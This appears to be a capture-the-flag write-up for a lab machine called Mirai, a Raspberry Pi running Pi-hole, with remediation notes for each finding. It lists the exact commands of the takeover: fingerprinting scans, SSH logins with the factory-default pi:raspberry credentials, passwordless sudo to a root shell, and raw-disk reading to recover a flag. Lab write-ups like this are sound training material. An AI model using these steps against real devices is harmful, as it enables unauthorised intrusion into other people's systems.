Mirai
Summary
Target mirai ($TARGET) — a Raspberry Pi running Pi-hole DNS filtering software — was fully compromised in minutes without exploiting any software vulnerability. An HTTP response header fingerprinted the device as a Pi-hole appliance, and an unauthenticated version endpoint confirmed the exact software build, identifying the underlying platform as a Raspberry Pi running Raspbian. I tried the publicly documented factory-default SSH credentials (pi:raspberry) and was granted an interactive shell immediately.
The built-in pi account carried an unrestricted, passwordless sudo grant, so root access required a single command. The root flag had been removed from its standard location and stored on an attached USB stick whose filesystem was deleted; I read it directly from raw block-device sectors using standard Linux tools, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 1
Version-scan all discovered open ports to identify services and banners.
$ nmap -Pn -sV -p 22,53,80,1029,32400,32469 $TARGETExact commands 2
Reveals the X-Pi-hole and Server response headers that fingerprint the appliance type.
$ curl -s -i http://$TARGET/Unauthenticated endpoint returns exact Pi-hole, AdminLTE, and FTL version strings.
$ curl -s http://$TARGET/versionsFixRemove the unauthenticated Pi-hole version-disclosure endpoint and restrict web interface accessMedium
Exact commands 2
Validates the default Raspbian credential pair; 'Pwn3d!' confirms interactive shell access.
$ nxc ssh $TARGET -u pi -p raspberryOpens an interactive SSH session as pi using the default password.
$ sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGETFixReplace the Raspberry Pi factory-default SSH credentials immediatelyCritical
Exact commands 2
Locates user.txt anywhere on the filesystem regardless of the non-standard path.
$ sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'find / -name user.txt -type f 2>/dev/null'Reads the user flag — captured value is <user.txt>.
$ sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'cat /home/pi/Desktop/user.txt'Exact commands 2
Confirms passwordless root; -n is non-interactive and fails immediately if a password is required.
$ sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'sudo -n id'Opens an interactive root shell — no password required.
$ sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'sudo -n bash -i'FixRemove unrestricted passwordless sudo from the pi accountCritical
Exact commands 2
Enumerates block devices; reveals /dev/sdb as an attached USB device with no mounted filesystem.
$ sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'sudo -n lsblk'Extracts the root flag (<root.txt>) from raw disk content — works even when the filesystem is unmounted or the partition deleted.
$ sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'sudo -n strings /dev/sdb | grep -E "^[a-f0-9]{32}$"'Exposed services
| 22/tcp | ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) |
| 53/tcp | domain dnsmasq 2.76 |
| 80/tcp | http lighttpd 1.4.35 |
| 1029/tcp | upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50) |
| 32400/tcp | http Plex Media Server httpd |
| 32469/tcp | upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50) |